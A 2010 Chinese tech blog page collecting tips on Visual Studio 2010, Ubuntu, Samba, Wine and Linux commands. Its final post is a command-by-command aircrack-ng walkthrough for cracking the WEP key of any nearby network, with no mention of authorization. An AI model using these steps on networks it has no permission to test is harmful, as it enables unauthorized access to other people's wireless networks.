Visual Studio 2010 实用功能总结图解
2010/07/15 22:35 | zapper]
Visual Studio 2010 已经发布了挺长时间了,异次元软件世界也有提供了VS2010下载, 个人感觉在使用过程中有些新功能确实方便了很多,非常值得大家一试。
今天,在此分享一些VS2010比较实用的功能,也 算是抛砖引玉,共同学习,利用好我们手里的工具,欢迎大家来补充其他好用的功能特性……
起始页面
在近期项目列表中可以将一些正在开发或重要的项目Pin在列表中以方便下次使用。
也可以右键项目名称打开项目所在文件夹。
分屏显示
本次VS2010 使用WPF 进行了大量Shell 开发,所以软件界面功能有了重大改进。尤其要提的就是分屏编写功能,Dev不用再为频繁切换程序文件而头疼了。可以直接将程序文件拖拽出IDE窗口到其他 显示器中。这样就可以一边编写CS,一边编写XAML而且无需切换窗口标签。
高亮显示
在编辑器中点击某个符号后IDE会自动将相同符号高亮显示。如果程序很长的话可以使用Ctrl+Shift+ 向下箭头 或Ctrl+Shift+ 向上箭头 快速浏览每一个使用该符号的地方。
缩放显示
通过Ctrl+ 鼠标滚轮 可以缩放代码字体大小,这个功能方便在演示过程中使用。
按使用生成代码
这个功能好像也叫“先消费”,在编写程序过程中如果需要构造新类,程序员可以不打断思路直接使用该类,然后再重新生成这个类。这样可以提高Dev的 开发效 率。
矩形选择框
在VS2008中可以通过Alt+鼠标左键 对代码进行选取,VS2010不仅可以选择矩形框,还可以选择零字符宽的矩形框并在其中 输入内容。
调试数据跟踪
在程序Debug过程中往往需要实时监控数据变化,VS2010 可以将数据Tip标签Pin在IDE窗口中随时跟踪数据变化。
在下图中随着while循环的进行,j值的变化也会随 时体现在Tip标签中。
调用层次结构
通过鼠标右键浏览方法、属性、构造函数的调用层次结构,如果是刚接手的项目就可以用这个方法了解其相关程序结构。
定位搜索
编辑(Edit)菜单中选择“Navigate To” 或者通过Ctrl+, 打开定位搜索窗口。在搜索栏(模糊查询的功能很强)中输入查询内容,VS2010 将列出相关结果信息。
双击搜索结果可以直接转到代码所在位置。
缩略图预览
其实这个功能在VS2010 RTM 发布前就被取消了,但我们仍然可以将其激活。首先确认Tools->Options 中“Enable rich client visual experience” 处于启动状态(如下图)。
然后,在开始菜单(Run…)中运行以下命令,向注册表中添加ShowThumbnailsOnNavigation 项。
reg ADD HKCU\Software\Microsoft\VisualStudio\10.0\General /v ShowThumbnailsOnNavigation /t REG_DWORD /d 1
打开VS2010 项目通过Ctrl+Tab,预览已打开的项目程序。
智能感知
在 VS2010 中IntelliSense(智能感知)功能又进行了完善和加强,在我们输入一些关键字时,其搜索过滤功能并不只是将关键字作为查询项开头,而是包含查询 项所有位置。如下图所示,当输入“index” 后我们既可以看到“IndexOutOfRangeException” 又可以检索到TabIndex 项,这使得检索功能更加人性化。
在上图中,我们定义了一个AsSoonAsPossible 的字符串变量,当输入“ASAP” 时VS2010 会根据Pascal Casing 搜索到我们想要的变量名称。
有时我们需要使用switch、foreach、for 等类似语法结构,在VS2010 中只需如入语法关键字,例如“foreach”,并点击两 下Tab 键,VS2010 便会自动完成相应的语法结构。
以上智能感知功能可以提高开发人员的编程效率,可以让你早点回家陪GF
WPF 界面设计
做WPF/Silverlight 的开发人员都知道,VS2010 对XAML 的界面的设计功能进行了很大改进,我们可以在VS2010 中直接拖拽设计XAML 界面布局。同时在使用<Grid> 进行界面布局编辑时,可以直接在设计窗口点击鼠标右键,为<Grid> 添加/删除行或列。
扩展工具
VS2010 另一个亮点就是扩展工具管理功能,开发人员不必到处寻找第三方扩展工具,下载并安装。只需在 VS2010->Tools->Extension Manager 中就可以找到许多第三方扩展工具,并可以直接在VS2010 中下载安装。

禁用or卸载 kvm mod模块 (VirtualBox 启动虚拟机VERR_SVM_IN_USE错误)
2010/06/08 17:02 | zapper]
查看正在运行的kvm模块
以AMD CPU为例. 运行以下2条命令可以停止模块的运行.
sudo rmmod kvm
intel CPU的就用kvm_intel
如果要卸载这个模块用下面的命令
sudo modprobe -r kvm_amd
sudo modprobe -r kvm
完全删除kvm和qemu-kvm的所有相关的东西

Linux管理员不能不知的五大命令+工具
2010/06/07 11:23 | zapper]
#5. head/tail命令
大多数情况下,登录服务器的唯一目的是诊断某些问题,常规方法是查看日志。有各种不同应用类型的日志,比如Apache日志、MySQL日志、邮件日志等。那么你用什么命令来查看日志呢,难道不是tail吗?这其实与此类似,我们有时候可以使用“head”命令来查看一个文件的开始几行。
几个例子:
*持续检查Apache错误日志文件,可以使用以下命令:
$ tail -f /var/log/httpd/error_log
*查看MySQL日志中的前15行内容,可以使用以下命令:
$ head -15 /var/log/mysqld.log
#4. vi/nano/emacs工具
一般而言,文本编辑器需要频繁地用来创建/更新配置文件。我更喜欢使用vim,使用起来非常舒服,很容易记住它的一些快速编辑命令。
下面是使用vi的几个例子。用vi打开一个文件,而且不进入插入模式(insert mode),那么你可以输入如下所示的有用字符:
=>跳至行末
$
=> 跳至行首
0
=> 删除余下的行
D
=> 重复上一个命令
. (点)
=> 给每行的末尾加上“maal”。1表示第一行,$表示最后一行
:1,$ s/$/maal/
=>在5至10行的行首加上“bingo”
:5,10 s/^/bingo/
=> 文件在光标之后的内容中如果出现foo,则把它替换成bar
:s/foo/bar/g
=> 删除本行并进入插入模式
C
=> 去掉windows系统文件中的^M
:se ff=unix
=> 开启/关闭行数显示
:set nu
:set nonu => 显示文件里的实际行数
:%!cat -n
=> 定位光标下面的单词
* (星号)
#3. screen命令
在nix世界中,screen命令是尚未得到充分利用的命令之一。打个比方,当你最后一次在远程服务器上执行一个命令时,如果你发现那个命令需要几个小时才能完成,或者当你需要登录10个服务器并检查东西、在它们之间复制文件的时候,突然之间,你的互联网连接重启了,ssh会话也终结了,这时,你就会用到screen命令,而一旦你开始使用这个命令,你就会被它吸引。Screen是一个终端复用器(terminal multiplexer),允许你通过使用一个物理终端来管理多个进程(比如ssh会话)。每个进程都有自己的虚拟窗口,而你可以在跟每个进程交互的虚拟窗口之间来回切换。

解决Ubuntu10.04 Lucid Lynx 文件浏览器访问Windows网上邻居
2010/06/07 09:34 | zapper]
报错如下:Failed to retrieve share list from server
经过实践,总结如下:
1./etc/samba/smb.conf配置
指定netbios name;加入Wins计算机名解析
2./etc/nsswitch.conf配置
加入Wins计算机名解析
3. 安装winbind,samba
4.重启计算机(一定要重启,重启服务不行)
知道原因就好办了。实现方法如下:
1. sudo gedit /etc/samba/smb.conf
增加以下语句:
netbios name = % Computer Name %
//% Computer Name %为指定的Ubuntu在网上邻居上看到的计算机名,可与Ubuntu计算机名不一致。
删除以下语句的;号:
;name resolve order = lmhosts hosts wins bcast
//加入Wins计算机名解析
2. sudo gedit /etc/nsswitch.conf
修改以下语句
hosts:files mdns4_minimal [NOTFOUND = return] wins dns mdn4
//wins一定要在dns前面
3. sudo apt-get install winbind samba
4. sudo reboot

Ubuntu -wine中文乱码的解决方法
2010/06/06 13:53 | zapper]
步骤:
1. 初始设置
运行 winecfg,把模拟的 Windows 系统设置为 Windows XP 或者 Windows 2000。
2. 准备字体
为了让 Windows 应用程序看上去更美观,所以需要 Windows 下面的字体。
由于我已经将 simsun.ttc 复制到 /usr/share/fonts/windows/ 目录中了。所以我只需要在 ~/.wine/drive_c/windows/fonts/ 目录中为 simsun.ttc 创建一个符号连接:
cd ~/.wine/drive_c/windows/fonts
ln -s /usr/share/fonts/windows/simsun.ttc simsun.ttc
ln -s /usr/share/fonts/windows/simsun.ttc simfang.ttc
创建一个 simfang.ttc 是许多 Windows 应用默认使用 simfang.ttc 字体。
3. 修改 ~/.wine/system.reg
装好字体后,还要修改一下 Wine 的注册表设置,指定与字体相关的设置:
gedit ~/.wine/system.reg
(一定要使用 gedit 或其他支持 gb2312/utf8 编码的编辑器修改这些文件,否则文件中的中文可能变乱码)
搜索: LogPixels
找到的行应该是:[System\\CurrentControlSet\\Hardware Profiles\\Current\\Software\\Fonts]
将其中的:
"LogPixels"=dword:00000060
改为:
"LogPixels"=dword:00000070
搜索: FontSubstitutes
找到的行应该是: [Software\\Microsoft\\Windows NT\\CurrentVersion\\FontSubstitutes]
将其中的:
"MS Shell Dlg"="Tahoma"
"MS Shell Dlg 2″="Tahoma"
改为:
"MS Shell Dlg"="SimSun"
"MS Shell Dlg 2″="SimSun"
4. 修改 ~/.wine/drive_c/windows/win.ini
gedit ~/.wine/drive_c/windows/win.ini
在文件末尾加入:

ubuntu wine 卸载 & 重装 (有菜单项)
2010/06/06 13:13 | zapper]
写在wine后. 在“应用程序”菜单里面还有wine的菜单, 用下面的方法删掉菜单项.
不要用"编辑菜单"删除, 否则重装wine后会没有菜单项, 解决方法在下面重装部分.
(1)删除.config/menus目录下的相应文件
(2)删除.config/menus/applications-merged目录下的相关文件
(3)打开.config/menus/applications.menu文件,删除文件中与wine有关的内容。
(4)删除以下三个文件:
/usr/share/app-install/desktop/wine.desktop
/usr/share/app-install/desktop/wineconfig.desktop
/usr/share/app-install/desktop/winefish.desktop
(5)删除下面三个目录下与wine和wine相关的内容:
~/.local/share/applications
~/.local/share/desktop-directories
~/.local/share/icons
经过以上的五个步骤之后,wine终于消失了。
重装wine:
安装很简单, apt-get install wine或者 新立得 或者ubuntu软件中心
如果已经用"编辑菜单" 删掉了wine的菜单项. 用下面的方法就可以恢复重装wine没有菜单项的问题.
进入 ~/.config/menus 找到applications.menu文件. 用gedit applications.menu 编辑次文件.
找到
<Menu>
<Name>wine-wine</Name>
<deleted/>
</Menu>
删掉
然后保存. wine的菜单项就回来了.

ubuntu10.04下安装中文谷歌地球,中文乱码方块解决
2010/06/05 18:40 | zapper]
网上的以前的办法也不好用哦
慢慢试了好久终于找到解决办法了:))
1.下载最新QT4库
sudo apt-get install libqt4-webkit libqt4-gui libqt4-network libqt4-core
2.删除 google_earth目录下 除了 libQtWebKit.so.4 的其他三个QT库文件
libQtWebKit.so.4这个千万不要删 删了启动不了哦。。。
源: Ubuntu 论坛

Ubuntu 无线密码破解利器aircrack-ng
2010/06/05 14:00 | zapper]
测试平台 Y450 T6600 2.1G ubuntu 10.04 成功
1.下载安装aircrack-ng,奶牛直接从源中安装的。
sudo apt-get install aircrack-ng
2.启动无线,这里奶牛需要说明一下,很多朋友的无线可能在windows系统中是禁用或者是系统自带的电源管理系统中未开启无线的,这种情况下需要先在win状态下开启之后才能在ubuntu中开启无线。开启完成后进入ubuntu ,开一个终端,ifconfig -a看看wlan是否开启,开启正常可进行下一步。
3.准备工作完成,开始破解。开启终端①,
sudo airmon-ng start wlan0
sudo airodump-ng mon0
这时会看到无线的地址出现在屏幕上,这里有显示它们的mac地址以及所在频道。ok,ctrl+c退出,在这里我们选择类型为wep的无线为破解对象。我们需要记录它所在的频道以及mac地址。
4.开启终端②
sudo airodump-ng -c 频道 –bssid 目标主机mac -w wep mon0
这里的wep为默认的存包文件的名字,可以更改。
5.开启终端③
sudo aireplay-ng -1 0 -a 目标mac -h 本机MAC mon0
(本机的mac可以开启一个新的终端用ifconfig -a来查询)
这时会有成功字样显示,如果没有显示可能就是目标不支持或者系统部稳定,需要更换目标了。显示成功后进行下步。
6.继续输入sudo aireplay-ng -2 -F -p 0841 -c ff:ff:ff:ff:ff:ff -b 目标MAC -h 本机MAC mon0
此时终端②中的数据会增长很快,当数据到达5000的时候就可以破解了。
7.开启终端 ④
sudo aircrack-ng wep*.cap
这时就开始破解了,如果你进行过多组,可能会有多组结果,你可以用数字123进行选择,如果不出意外你已经破解出来这组无线的密码了。
8.最后 sudo airmon-ng stop mon0结束监控过程
( sudo airomon-ng check可以查看你开启了多少监控,如果运行多组的时候可以查看后选择关闭)。
本文链接地址: Ubuntu 无线密码破解利器aircrack-ng
原创文章,转载请注明: 转载自奶牛博客






![clip_image008[4] clip_image008[4]](http://img.iplaysoft.com/wp-content/uploads/2010/a4e1cbaafb90_12C80/clip_image0084.png)


